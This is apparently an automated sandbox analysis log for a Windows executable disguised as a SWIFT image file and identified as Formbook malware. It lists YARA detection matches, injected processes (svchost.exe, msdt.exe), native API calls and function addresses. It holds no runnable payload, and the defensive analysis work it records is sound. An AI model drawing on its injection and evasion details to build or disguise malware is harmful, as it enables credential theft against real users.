Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: SWIFT 00395_IMG.exe
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_004181B0 NtCreateFile, 1_2_004181B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00418260 NtReadFile, 1_2_00418260
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_004182E0 NtClose, 1_2_004182E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00418390 NtAllocateVirtualMemory, 1_2_00418390
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041825A NtReadFile, 1_2_0041825A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_004182DA NtClose, 1_2_004182DA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869A00 NtProtectVirtualMemory,LdrInitializeThunk, 1_2_03869A00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869A20 NtResumeThread,LdrInitializeThunk, 1_2_03869A20
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869A50 NtCreateFile,LdrInitializeThunk, 1_2_03869A50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038699A0 NtCreateSection,LdrInitializeThunk, 1_2_038699A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869910 NtAdjustPrivilegesToken,LdrInitializeThunk, 1_2_03869910
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038698F0 NtReadVirtualMemory,LdrInitializeThunk, 1_2_038698F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869840 NtDelayExecution,LdrInitializeThunk, 1_2_03869840
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869860 NtQuerySystemInformation,LdrInitializeThunk, 1_2_03869860
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869780 NtMapViewOfSection,LdrInitializeThunk, 1_2_03869780
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038697A0 NtUnmapViewOfSection,LdrInitializeThunk, 1_2_038697A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869FE0 NtCreateMutant,LdrInitializeThunk, 1_2_03869FE0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869710 NtQueryInformationToken,LdrInitializeThunk, 1_2_03869710
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038696E0 NtFreeVirtualMemory,LdrInitializeThunk, 1_2_038696E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869660 NtAllocateVirtualMemory,LdrInitializeThunk, 1_2_03869660
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038695D0 NtClose,LdrInitializeThunk, 1_2_038695D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869540 NtReadFile,LdrInitializeThunk, 1_2_03869540
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0386A3B0 NtGetContextThread, 1_2_0386A3B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869B00 NtSetValueKey, 1_2_03869B00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869A80 NtOpenDirectoryObject, 1_2_03869A80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869A10 NtQuerySection, 1_2_03869A10
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038699D0 NtCreateProcessEx, 1_2_038699D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869950 NtQueueApcThread, 1_2_03869950
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038698A0 NtWriteVirtualMemory, 1_2_038698A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869820 NtEnumerateKey, 1_2_03869820
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0386B040 NtSuspendThread, 1_2_0386B040
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0386A710 NtOpenProcessToken, 1_2_0386A710
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869730 NtQueryVirtualMemory, 1_2_03869730
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869760 NtOpenProcess, 1_2_03869760
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869770 NtSetInformationFile, 1_2_03869770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0386A770 NtOpenThread, 1_2_0386A770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038696D0 NtCreateKey, 1_2_038696D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869610 NtEnumerateValueKey, 1_2_03869610
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869650 NtQueryValueKey, 1_2_03869650
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869670 NtQueryInformationProcess, 1_2_03869670
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038695F0 NtQueryInformationFile, 1_2_038695F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869520 NtWaitForSingleObject, 1_2_03869520
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0386AD30 NtSetContextThread, 1_2_0386AD30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03869560 NtWriteFile, 1_2_03869560
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F195D0 NtClose,LdrInitializeThunk, 7_2_04F195D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19540 NtReadFile,LdrInitializeThunk, 7_2_04F19540
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F196E0 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_04F196E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F196D0 NtCreateKey,LdrInitializeThunk, 7_2_04F196D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19660 NtAllocateVirtualMemory,LdrInitializeThunk, 7_2_04F19660
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19650 NtQueryValueKey,LdrInitializeThunk, 7_2_04F19650
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19FE0 NtCreateMutant,LdrInitializeThunk, 7_2_04F19FE0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19780 NtMapViewOfSection,LdrInitializeThunk, 7_2_04F19780
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19710 NtQueryInformationToken,LdrInitializeThunk, 7_2_04F19710
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19860 NtQuerySystemInformation,LdrInitializeThunk, 7_2_04F19860
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19840 NtDelayExecution,LdrInitializeThunk, 7_2_04F19840
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F199A0 NtCreateSection,LdrInitializeThunk, 7_2_04F199A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19910 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_04F19910
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19A50 NtCreateFile,LdrInitializeThunk, 7_2_04F19A50
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F195F0 NtQueryInformationFile, 7_2_04F195F0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19560 NtWriteFile, 7_2_04F19560
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F1AD30 NtSetContextThread, 7_2_04F1AD30
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19520 NtWaitForSingleObject, 7_2_04F19520
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19670 NtQueryInformationProcess, 7_2_04F19670
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19610 NtEnumerateValueKey, 7_2_04F19610
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F197A0 NtUnmapViewOfSection, 7_2_04F197A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F1A770 NtOpenThread, 7_2_04F1A770
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19770 NtSetInformationFile, 7_2_04F19770
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19760 NtOpenProcess, 7_2_04F19760
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19730 NtQueryVirtualMemory, 7_2_04F19730
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F1A710 NtOpenProcessToken, 7_2_04F1A710
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F198F0 NtReadVirtualMemory, 7_2_04F198F0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F198A0 NtWriteVirtualMemory, 7_2_04F198A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F1B040 NtSuspendThread, 7_2_04F1B040
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19820 NtEnumerateKey, 7_2_04F19820
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F199D0 NtCreateProcessEx, 7_2_04F199D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19950 NtQueueApcThread, 7_2_04F19950
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19A80 NtOpenDirectoryObject, 7_2_04F19A80
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19A20 NtResumeThread, 7_2_04F19A20
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19A10 NtQuerySection, 7_2_04F19A10
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19A00 NtProtectVirtualMemory, 7_2_04F19A00
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F1A3B0 NtGetContextThread, 7_2_04F1A3B0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F19B00 NtSetValueKey, 7_2_04F19B00
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A781B0 NtCreateFile, 7_2_00A781B0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A782E0 NtClose, 7_2_00A782E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A78260 NtReadFile, 7_2_00A78260
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A78390 NtAllocateVirtualMemory, 7_2_00A78390
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A782DA NtClose, 7_2_00A782DA
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7825A NtReadFile, 7_2_00A7825A
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_00403461 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403461
Detected potential crypto function
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_00406925 0_2_00406925
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00401030 1_2_00401030
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041CB2B 1_2_0041CB2B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00408C4B 1_2_00408C4B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00408C50 1_2_00408C50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041BC1D 1_2_0041BC1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041B493 1_2_0041B493
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041B496 1_2_0041B496
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041BD07 1_2_0041BD07
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041C529 1_2_0041C529
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00402D90 1_2_00402D90
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041BE6A 1_2_0041BE6A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041C70E 1_2_0041C70E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00402FB0 1_2_00402FB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385EBB0 1_2_0385EBB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038EDBD2 1_2_038EDBD2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F2B28 1_2_038F2B28
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F22AE 1_2_038F22AE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382F900 1_2_0382F900
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03844120 1_2_03844120
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383B090 1_2_0383B090
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038520A0 1_2_038520A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F20A8 1_2_038F20A8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F28EC 1_2_038F28EC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1002 1_2_038E1002
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F1FF1 1_2_038F1FF1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F2EF7 1_2_038F2EF7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03846E30 1_2_03846E30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03852581 1_2_03852581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F25DD 1_2_038F25DD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383D5E0 1_2_0383D5E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F2D07 1_2_038F2D07
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03820D20 1_2_03820D20
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F1D55 1_2_038F1D55
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383841F 1_2_0383841F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038ED466 1_2_038ED466
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9D466 7_2_04F9D466
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE841F 7_2_04EE841F
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EED5E0 7_2_04EED5E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA25DD 7_2_04FA25DD
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F02581 7_2_04F02581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA1D55 7_2_04FA1D55
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED0D20 7_2_04ED0D20
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA2D07 7_2_04FA2D07
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA2EF7 7_2_04FA2EF7
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF6E30 7_2_04EF6E30
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9D616 7_2_04F9D616
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA1FF1 7_2_04FA1FF1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FADFCE 7_2_04FADFCE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA28EC 7_2_04FA28EC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F020A0 7_2_04F020A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA20A8 7_2_04FA20A8
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EEB090 7_2_04EEB090
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FAE824 7_2_04FAE824
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91002 7_2_04F91002
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF4120 7_2_04EF4120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDF900 7_2_04EDF900
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA22AE 7_2_04FA22AE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F903DA 7_2_04F903DA
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9DBD2 7_2_04F9DBD2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0EBB0 7_2_04F0EBB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA2B28 7_2_04FA2B28
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7CB2B 7_2_00A7CB2B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7B496 7_2_00A7B496
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7B493 7_2_00A7B493
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A68C4B 7_2_00A68C4B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A68C50 7_2_00A68C50
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A62D90 7_2_00A62D90
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7C529 7_2_00A7C529
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7BE5F 7_2_00A7BE5F
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A62FB0 7_2_00A62FB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7C70E 7_2_00A7C70E
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 0382B150 appears 35 times
Source: C:\Windows\SysWOW64\msdt.exe Code function: String function: 04EDB150 appears 35 times
Sample file is different than original file name gathered from version info
Source: SWIFT 00395_IMG.exe, 00000000.00000003.657921877.000000000331F000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs SWIFT 00395_IMG.exe
Uses 32bit PE files
Source: SWIFT 00395_IMG.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Yara signature match
Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: classification engine Classification label: mal100.troj.evad.winEXE@7/4@14/9
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_00403461 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403461
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_0040473E GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 0_2_0040473E
